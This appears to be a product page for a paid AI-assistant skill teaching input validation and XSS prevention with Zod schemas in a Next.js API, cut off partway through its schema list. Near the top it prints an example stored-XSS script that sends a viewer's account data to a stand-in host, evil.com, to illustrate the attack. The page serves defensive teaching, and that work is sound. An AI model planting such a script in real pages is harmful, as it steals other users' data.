Claude
Skills
Sign in
Back

input-validation-xss-prevention

Included with Lifetime
$97 forever

Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "safeTextSchema", "user input security".

Security

What this skill does


# Input Validation & XSS Prevention

## The Universal Truth of Web Security

**Never trust user input.** This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:
- **SQL Injection** - Equifax (147 million records)
- **XSS** - British Airways (380,000 transactions, £20M fine)
- **Command Injection** - Countless others

According to OWASP, injection vulnerabilities are consistently the **#1 or #2 threat** to web applications. Input validation is not optional—it's existential.

## Understanding XSS (Cross-Site Scripting)

### The Attack

Attacker enters in a bio field:
```javascript
<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>
```

Without sanitization, when other users view this profile:
1. The script executes in their browsers
2. It steals their user data
3. Sends it to attacker's server
4. Victims never know they were compromised

### Real-World XSS Consequences

**British Airways (2018):**
XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. **£20 million fine** under GDPR.

**MySpace Samy Worm (2005):**
XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.

## Our Input Validation Architecture

### Why Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.

**Zod provides:**
- ✅ **Type-safe validation** - TypeScript knows what's valid
- ✅ **Composable schemas** - Reuse validation logic
- ✅ **Automatic transformation** - Sanitization built-in
- ✅ **Clear error messages** - Helps users fix mistakes
- ✅ **Runtime type checking** - Catches issues in production

### The Sanitization Strategy

We remove dangerous characters that enable XSS attacks:
- `<` - Prevents opening tags
- `>` - Prevents closing tags
- `"` - Prevents attribute injection
- `&` - Prevents HTML entity injection

**Preserved:**
- `'` - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)

**Why not remove all special characters?**
Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.

### Industry Validation Approach

According to OWASP and NIST guidelines, the secure approach is:
1. **Validate** (check format/type)
2. **Sanitize** (remove dangerous content)
3. **Encode on output** (escape when displaying)

We do all three:
- Zod validates format
- `.transform()` sanitizes
- React escapes output

## Implementation Files

- `lib/validation.ts` - 11 pre-built Zod schemas
- `lib/validateRequest.ts` - Validation helper that formats errors

## How to Use Input Validation

### Basic Pattern

```typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
```

### Complete Secure API Route

```typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Available Validation Schemas

All schemas are in `lib/validation.ts`:

### 1. emailSchema
**Use for:** Email addresses

```typescript
import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase
```

**Features:**
- Valid email format required
- Normalized to lowercase
- Max 254 characters
- Trims whitespace

### 2. safeTextSchema
**Use for:** Short text fields (names, titles, subjects)

```typescript
import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);
```

**Features:**
- Min 1, max 100 characters
- Removes: `< > " &`
- Preserves: `'` (apostrophes)
- Trims whitespace

### 3. safeLongTextSchema
**Use for:** Long text (descriptions, bios, comments, messages)

```typescript
import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);
```

**Features:**
- Min 1, max 5000 characters
- Same sanitization as safeTextSchema
- Suitable for textarea content

### 4. usernameSchema
**Use for:** Usernames, slugs, identifiers

```typescript
import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);
```

**Features:**
- Alphanumeric + underscores + hyphens only
- Min 3, max 30 characters
- Lowercase only
- No spaces or special characters

### 5. urlSchema
**Use for:** Website URLs, link fields

```typescript
import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);
```

**Features:**
- Must be valid URL
- HTTPS only (security requirement)
- Max 2048 characters
- Validates protocol, domain

### 6. contactFormSchema
**Use for:** Complete contact forms

```typescript
import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;
```

**Fields:**
```typescript
{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
```

### 7. createPostSchema
**Use for:** User-generated blog posts, articles

```typescript
import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;
```

**Fields:**
```typescript
{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
```

### 8. updateProfileSchema
**Use for:** Profile updates

```typescript
import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!valida
Files: 1
Size: 21.7 KB
Complexity: 28/100
Category: Security

Related in Security